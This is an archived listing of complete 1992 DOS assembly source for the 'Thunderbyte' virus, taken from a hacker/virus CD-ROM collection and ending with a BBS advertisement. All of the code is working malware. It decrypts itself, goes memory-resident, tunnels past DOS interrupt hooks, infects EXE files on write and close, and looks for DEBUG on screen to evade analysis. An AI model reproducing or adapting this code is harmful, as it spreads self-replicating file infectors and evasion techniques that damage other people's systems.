home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / TBYTE.ASM < prev    next >
Assembly Source File  |  1992-10-13  |  10KB  |  613 lines

  1. ;*****************************************************************************;
  2. ;                                                                             ;
  3. ; Tunderbyte Virus                                                            ;
  4. ;                                                                             ;
  5. ; TBSCAN.DAT : DB3F00807609??4D75F9                                           ;
  6. ;                                                                             ;
  7. ;*****************************************************************************;
  8.  
  9. virus segment public 'code'
  10.         assume    cs:virus, ds:virus, es:virus
  11.         org    0
  12.  
  13. VirusStart    equ    $
  14. VirusSize1    equ    (VirusEnd1-$)
  15. VirusSize2    equ    (VirusEnd2-$)
  16.  
  17. Decrypt1:    db    0bdh,StartEncrypt-Decrypt2,0
  18.         db    80h,76h,Decrypt2-VirusStart-1,0
  19.         db    4dh,75h,-7
  20. Decrypt2:    cli
  21.         mov    sp,offset DoAgain-2
  22.         ret    -8
  23.  
  24.         db    0,0,0,0,'***** THUNDERBYTE *****',0,0,0,0
  25.  
  26. Init:        mov    cx,(VirusEnd1-StartEncrypt+1)/2
  27.         mov    dl,byte ptr cs:Decrypt1[6]
  28.         mov    dh,dl
  29.         mov    si,offset StartEncrypt
  30. NotReady:    ret    2
  31.  
  32. DecryptWord:    mov    ax,ss:[si]
  33.         xor    cs:[si],dx
  34. NextWord:    add    dx,ax
  35.         inc    si
  36.         ret    -4
  37.  
  38.         dw    DecryptWord
  39.         dw    DoAgain
  40.         dw    NextWord
  41.         dw    Init
  42. DoAgain:    loop    NotReady
  43.  
  44. StartEncrypt    equ    $
  45.  
  46. Main:        mov    sp,1000h
  47.         sti
  48.         push    ds
  49.         push    es
  50.         mov    ax,03031h
  51.         mov    bx,0DEADh
  52.         int    21h
  53.         cmp    ax,0DEADh
  54.         jne    Install
  55.         jmp    Exit
  56. Install:    push    es
  57.         mov    ah,52h
  58.         int    21h
  59.         mov    ax,es:[bx-2]
  60.         mov    cs:FirstMCB,ax
  61.         pop    es
  62. CheckBlock:    mov    ds,ax
  63.         inc    ax
  64.         cmp    word ptr ds:[1],ax
  65.         jne    NextBlock
  66.         cmp    word ptr ds:[3],((VirusSize2+0fh)/10h)+((VirusSize1+0fh)/10h)
  67.         jne    NextBlock
  68.         push    ax
  69.         push    es
  70.         mov    cx,VirusSize2
  71.         xor    di,di
  72.         mov    es,ax
  73.         mov    al,es:[di]
  74.         cld
  75.         repe    scasb
  76.         pop    es
  77.         pop    ax
  78.         je    CopyVirus
  79. NextBlock:    add    ax,ds:[3]
  80.         cmp    byte ptr ds:[0],'Z'
  81.         jne    CheckBlock
  82.         mov    ah,4ah
  83.         mov    bx,-1
  84.         int    21h
  85.         mov    ah,4ah
  86.         sub    bx,((VirusSize2+0fh)/10h)+((VirusSize1+0fh)/10h)+1
  87.         int    21h
  88.         mov    ah,48h
  89.         mov    bx,((VirusSize2+0fh)/10h)+((VirusSize1+0fh)/10h)
  90.         int    21h
  91. CopyVirus:    push    cs
  92.         pop    ds
  93.         dec    ax
  94.         mov    es,ax
  95.         inc    ax
  96.         mov    es:[1],ax
  97.         mov    cx,8
  98.         mov    si,offset CommandStr
  99.         mov    di,cx
  100.         cld
  101.         rep    movsb
  102.         mov    es,ax
  103. EncryptZero:    inc    byte ptr ds:Decrypt1[6]
  104.         jz    EncryptZero
  105.         mov    cx,VirusSize2
  106.         xor    si,si
  107.         xor    di,di
  108.         cld
  109.         rep    movsb
  110.         push    es
  111.         call    ReturnFar
  112.         xor    ax,ax
  113.         mov    ds,ax
  114.         cli
  115.         mov    ax,offset DebugWatch
  116.         xchg    ax,ds:[20h]
  117.         mov    cs:OldInt8o,ax
  118.         mov    ax,cs
  119.         xchg    ax,ds:[22h]
  120.         mov    cs:OldInt8s,ax
  121.         sti
  122.         push    ds:[4]
  123.         push    ds:[6]
  124.         mov    word ptr ds:[4],offset Trace1
  125.         mov    word ptr ds:[6],cs
  126.         pushf
  127.         push    cs
  128.         mov    ax,offset Return4
  129.         push    ax
  130.         cli
  131.         pushf
  132.         pop    ax
  133.         or    ax,100h
  134.         push    ax
  135.         push    ds:[86h]
  136.         push    ds:[84h]
  137.         mov    ah,52h
  138. Trace1:        push    bp
  139.         mov    bp,sp
  140.         push    ax
  141.         push    ds
  142.         push    cs
  143.         pop    ds
  144.         mov    ax,FirstMCB
  145.         cmp    [bp+4],ax
  146.         jae    Return1
  147.         mov    ax,[bp-2]
  148.         mov    RegAX,ax
  149.         mov    RegSP,bp
  150.         mov    ax,[bp+2]
  151.         mov    OldInt21o,ax
  152.         mov    ax,[bp+4]
  153.         mov    OldInt21s,ax
  154.         xor    ax,ax
  155.         mov    ds,ax
  156.         mov    word ptr ds:[4],offset Trace2
  157.         mov    word ptr ds:[6],cs
  158.         jmp    short Trace3
  159. Return1:    jmp    short Return3
  160. Trace2:        push    bp
  161.         mov    bp,sp
  162.         push    ax
  163.         push    ds
  164.         cmp    ax,cs:RegAX
  165.         jne    Return3
  166.         cmp    bp,cs:RegSP
  167.         jne    Return3
  168. Trace3:        push    bx
  169.         push    dx
  170.         lds    bx,[bp+2]
  171.         mov    al,[bx]
  172.         mov    dx,[bx+1]
  173.         inc    dx
  174.         cmp    al,0e9h
  175.         je    JumpOpcode
  176.         cmp    al,0e8h
  177.         je    CallOpcode
  178.         xchg    ax,dx
  179.         dec    ax
  180.         cbw
  181.         xchg    ax,dx
  182.         cmp    al,0ebh
  183.         je    JumpOpcode
  184.         cmp    al,70h
  185.         jb    Return2
  186.         cmp    al,7fh
  187.         ja    Return2
  188. JumpOpcode:    push    ax
  189.         push    ds
  190.         xor    ax,ax
  191.         mov    ds,ax
  192.         mov    word ptr ds:[0c8h],offset HackJump
  193.         mov    word ptr ds:[0cah],cs
  194.         jmp    short Continue
  195. CallOpcode:    push    ax
  196.         push    ds
  197.         xor    ax,ax
  198.         mov    ds,ax
  199.         mov    word ptr ds:[0c8h],offset HackCall
  200.         mov    word ptr ds:[0cah],cs
  201. Continue:    pop    ds
  202.         pop    ax
  203.         mov    cs:Displacement,dx
  204.         mov    cs:Opcode,al
  205.         mov    ax,32cdh
  206.         xchg    ax,[bx]
  207.         mov    cs:SavedCode,ax
  208.         mov    cs:HackOffset,bx
  209.         mov    cs:HackSegment,ds
  210.         and    word ptr [bp+6],0feffh
  211. Return2:    pop    dx
  212.         pop    bx
  213. Return3:    pop    ds
  214.         pop    ax
  215.         pop    bp
  216.         iret
  217. Return4:    pop    ds:[6]
  218.         pop    ds:[4]
  219.         mov    cs:Handle,0
  220. Exit:        pop    es
  221.         pop    ds
  222.         mov    ax,ds
  223.         add    ax,10h
  224.         add    cs:OldCS,ax
  225.         add    ax,cs:OldSP
  226.         mov    dx,cs:OldSP
  227.         cli
  228.         mov    ss,ax
  229.         mov    sp,dx
  230.         sti
  231.         jmp    cs:OldEntry
  232.  
  233. ReturnFar:    retf
  234.  
  235. OldEntry    equ    this dword
  236. OldIP        dw    0
  237. OldCS        dw    -10h
  238. OldSP        dw    1000h
  239. OldSS        dw    0
  240.  
  241. HackAddress    equ    this dword
  242. HackOffset    dw    ?
  243. HackSegment    dw    ?
  244. SavedCode    dw    ?
  245.  
  246. HackJump:    call    Interrupt21
  247.         push    bp        ; simulate a conditional or 
  248.         push    ax        ; unconditional jump
  249.         mov    bp,sp
  250.         mov    ax,[bp+8]
  251.         and    ax,0fcffh
  252.         push    ax
  253.         db    0b8h        ; mov ax,????
  254. Displacement    dw    0
  255.         popf
  256. Opcode        db    0ebh,3,0    ; j?? +3
  257.         xor    ax,ax
  258.         nop
  259.         add    [bp+4],ax
  260.         pop    ax
  261.         pop    bp
  262.         iret
  263.  
  264. HackCall:    call    Interrupt21
  265.         sub    sp,2        ; simulate a call
  266.         push    bp
  267.         mov    bp,sp
  268.         push    ax
  269.         mov    ax,[bp+4]
  270.         inc    ax
  271.         xchg    ax,[bp+8]
  272.         xchg    ax,[bp+6]
  273.         xchg    ax,[bp+4]
  274.         add    ax,cs:Displacement
  275.         mov    [bp+2],ax
  276.         pop    ax
  277.         pop    bp
  278.         iret
  279.  
  280. Seek:        mov    ah,42h
  281.         xor    cx,cx
  282.         xor    dx,dx
  283.  
  284. Dos:        pushf
  285.         db    9ah
  286. OldInt21o    dw    ?
  287. OldInt21s    dw    ?
  288.         ret
  289.  
  290. DosVersion:    cmp    ax,3031h
  291.         jne    NotTByte
  292.         cmp    bx,0DEADh
  293.         jne    NotTByte
  294.         mov    ax,0DEADh
  295.         add    sp,8
  296.         iret
  297.  
  298. Interrupt21:    cmp    ah,30h
  299.         je    DosVersion
  300.         push    si
  301.         push    ds
  302.         push    cs:SavedCode
  303.         lds    si,cs:HackAddress
  304.         pop    ds:[si]
  305.         pop    ds
  306.         pop    si
  307.         push    ax
  308.         push    bx
  309.         push    cx
  310.         push    dx
  311.         push    si
  312.         push    di
  313.         push    bp
  314.         push    ds
  315.         push    es
  316.         cmp    ah,3eh
  317.         je    CloseFile
  318.         cmp    ah,40h
  319.         je    WriteFile
  320. Old21:        pop    es
  321.         pop    ds
  322.         pop    bp
  323.         pop    di
  324.         pop    si
  325.         pop    dx
  326.         pop    cx
  327.         pop    bx
  328.         pop    ax
  329.         push    si
  330.         push    ds
  331.         lds    si,cs:HackAddress
  332.         mov    word ptr ds:[si],32cdh
  333.         pop    ds
  334.         pop    si
  335. NotTByte:    ret
  336.  
  337. WriteFile:    mov    ax,4400h
  338.         call    Dos
  339.         cmp    dl,7fh
  340.         ja    Error1
  341.         mov    al,1
  342.         call    Seek
  343.         jc    Error1
  344.         or    dx,dx
  345.         jnz    Error1
  346.         cmp    ax,17h
  347.         ja    Error1
  348.         push    cs
  349.         pop    es
  350.         mov    si,dx
  351.         mov    di,offset Signature
  352.         add    di,ax
  353.         cmp    word ptr [si],"ZM"
  354.         jne    Error1
  355.         cmp    word ptr [si+12h],0DEADh
  356.         je    Error1
  357.         cmp    cx,18h
  358.         jb    CheckHandle
  359.         or    ax,ax
  360.         jz    Ok
  361. CheckHandle:    cmp    bx,cs:Handle
  362.         jne    Error1
  363. Ok:        add    cx,ax
  364.         cmp    cx,18h
  365.         jbe    CountOk
  366.         mov    cx,18h
  367. CountOk:    sub    cx,ax
  368.         jbe    Error1
  369.         cld
  370.         rep    movsb
  371.         mov    cs:Handle,bx
  372. Error1:        jmp    Old21
  373.  
  374. CloseFile:    push    cs
  375.         pop    ds
  376.         push    cs
  377.         pop    es
  378.         mov    ax,4400h
  379.         call    Dos
  380.         test    dl,80h
  381.         jne    Error1
  382.         or    bx,bx
  383.         je    Read
  384.         cmp    cs:Handle,bx
  385.         je    DoNotRead
  386. Read:        xor    al,al
  387.         call    Seek
  388.         jc    Error1
  389.         mov    ah,3fh
  390.         mov    cx,18h
  391.         mov    dx,offset Signature
  392.         call    Dos
  393.         jc    Error1
  394. DoNotRead:    mov    cs:Handle,0
  395.         cmp    Signature,"ZM"
  396.         jne    Error1
  397.         cmp    ChkSum,0DEADh
  398.         je    Error1
  399.         mov    ax,ExeIP
  400.         mov    OldIP,ax
  401.         mov    ax,ExeCS
  402.         mov    OldCS,ax
  403.         mov    ax,ExeSS
  404.         mov    OldSS,ax
  405.         mov    ax,ExeSP
  406.         mov    OldSP,ax
  407.         mov    al,2
  408.         call    Seek
  409.         jc    Error1
  410.         push    ax
  411.         push    dx
  412.         mov    cx,200h
  413.         div    cx
  414.         cmp    PartPage,dx
  415.         jne    SizeError
  416.         add    dx,-1
  417.         adc    ax,0
  418.         cmp    PageCount,ax
  419. SizeError:    pop    dx
  420.         pop    ax
  421.         jne    Error2
  422.         add    ax,0fh
  423.         adc    dx,0
  424.         and    ax,0fff0h
  425.         mov    cx,dx
  426.         mov    dx,ax
  427.         mov    ax,4200h
  428.         call    Dos
  429.         jnc    SeekOk
  430. Error2:        jmp    Old21
  431. SeekOk:        mov    cx,10h
  432.         div    cx
  433.         sub    ax,HdrSize
  434.         mov    ExeCS,ax
  435.         mov    ExeIP,offset Decrypt1
  436.         mov    ExeSS,ax
  437.         mov    ExeSP,VirusSize1+400h
  438.         cmp    MinMem,40h
  439.         jae    MemoryOk
  440.         mov    MinMem,40h
  441.         cmp    MaxMem,40h
  442.         jae    MemoryOk
  443.         mov    MaxMem,40h
  444. MemoryOk:    push    ds
  445.         push    es
  446.         mov    ax,cs
  447.         mov    ds,ax
  448.         add    ax,(VirusSize2+0fh)/10h
  449.         mov    es,ax
  450.         mov    cx,VirusSize1
  451.         xor    si,si
  452.         xor    di,di
  453.         cld
  454.         rep    movsb
  455.         mov    ds,ax
  456.         mov    cx,offset StartEncrypt-Decrypt2
  457.         mov    dl,byte ptr ds:Decrypt1[6]
  458.         mov    si,offset StartEncrypt-1
  459. Again1:        xor    ds:[si],dl
  460.         dec    si
  461.         loop    Again1
  462.         mov    cx,(VirusEnd1-StartEncrypt+1)/2
  463.         mov    dh,dl
  464.         mov    si,offset StartEncrypt
  465. Again2:        xor    ds:[si],dx
  466.         mov    ax,ds:[si]
  467.         add    dx,ax
  468.         inc    si
  469.         add    dx,ax
  470.         inc    si
  471.         loop    Again2
  472.         mov    ah,40h
  473.         mov    cx,VirusSize1
  474.         xor    dx,dx
  475.         call    Dos
  476.         pop    ds
  477.         pop    es
  478.         jc    Error3
  479.         mov    al,2
  480.         call    Seek
  481.         jc    Error3
  482.         mov    cx,200h
  483.         div    cx
  484.         mov    PartPage,dx
  485.         add    dx,-1
  486.         adc    ax,0
  487.         mov    PageCount,ax
  488.         mov    ChkSum,0DEADh
  489.         xor    al,al
  490.         call    Seek
  491.         jc    Error3
  492.         mov    ah,40h
  493.         mov    cx,18h
  494.         mov    dx,offset Signature
  495.         call    Dos
  496. Error3:        jmp    Old21
  497.  
  498. Count        dw    8
  499. DebugStr    db    'DEBUG'
  500. CommandStr    db    'COMMAND '
  501.  
  502. DebugWatch:    push    ax
  503.         push    cx
  504.         push    dx
  505.         push    si
  506.         push    di
  507.         push    ds
  508.         push    es
  509.         dec    cs:Count
  510.         jnz    EndWatch
  511.         mov    cs:Count,8
  512.         mov    ax,0b000h
  513.         mov    ds,ax
  514.         mov    cx,2
  515.         push    cs
  516.         pop    es
  517.         cld
  518. NextScreen:    push    cx
  519.         mov    cx,2000
  520.         xor    si,si
  521.         mov    di,offset DebugStr
  522. NextChar1:    mov    dx,5
  523. NextChar2:    lodsb
  524.         inc    si
  525.         and    al,0dfh
  526.         scasb
  527.         jne    CharOk
  528.         dec    dx
  529.         jnz    NextChar2
  530. Alarm:        pop    cx
  531.         lds    si,cs:HackAddress
  532.         cmp    byte ptr ds:[si],0cdh
  533.         jne    EndWatch
  534.         mov    ax,cs:SavedCode
  535.         mov    ds:[si],ax
  536.         xor    cx,cx
  537.         mov    ds,cx
  538.         mov    ax,cs:OldInt8o
  539.         mov    ds:[20h],ax
  540.         mov    ax,cs:OldInt8s
  541.         mov    ds:[22h],ax
  542.         mov    es,cx
  543.         push    cs
  544.         pop    ds
  545.         mov    cx,14
  546.         mov    si,offset EndWatch-2
  547.         mov    di,4f0h
  548.         push    es
  549.         push    di
  550.         rep    movsb
  551.         xor    di,di
  552.         mov    cx,VirusSize2
  553.         push    cs
  554.         pop    es
  555.         retf
  556. CharOk:        neg    dx
  557.         add    dx,5
  558.         sbb    di,dx
  559.         sub    si,dx
  560.         sub    si,dx
  561.         loop    NextChar1
  562. ScreenOk:    mov    ax,ds
  563.         add    ax,800h
  564.         mov    ds,ax
  565.         pop    cx
  566.         loop    NextScreen
  567.         jmp    short EndWatch
  568.         rep    stosb
  569. EndWatch:    pop    es
  570.         pop    ds
  571.         pop    di
  572.         pop    si
  573.         pop    dx
  574.         pop    cx
  575.         pop    ax
  576.         db    0eah
  577. OldInt8o    dw    ?
  578. OldInt8s    dw    ?
  579.  
  580.         db    '***** (C) COPYRIGHT 1992 BY THE WRITER *****'
  581.  
  582. VirusEnd1    equ    $
  583.  
  584. FirstMCB    dw    ?
  585. RegAX        dw    ?
  586. RegSP        dw    ?
  587.  
  588. Handle        dw    ?
  589. Signature    dw    ?
  590. PartPage    dw    ?
  591. PageCount    dw    ?
  592. ReloCnt        dw    ?
  593. HdrSize        dw    ?
  594. MinMem        dw    ?
  595. MaxMem        dw    ?
  596. ExeSS        dw    ?
  597. ExeSP        dw    ?
  598. ChkSum        dw    ?
  599. ExeIP        dw    ?
  600. ExeCS        dw    ?
  601.  
  602. VirusEnd2    equ    $
  603.  
  604. virus ends
  605.  
  606. end Main
  607. 
  608. ;─────────────────────────────────────────────────────────────────────────;
  609. ;──────────────────> and Remember Don't Forget to Call <──────────────────;
  610. ;────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────;
  611. ;─────────────────────────────────────────────────────────────────────────;
  612.  
  613.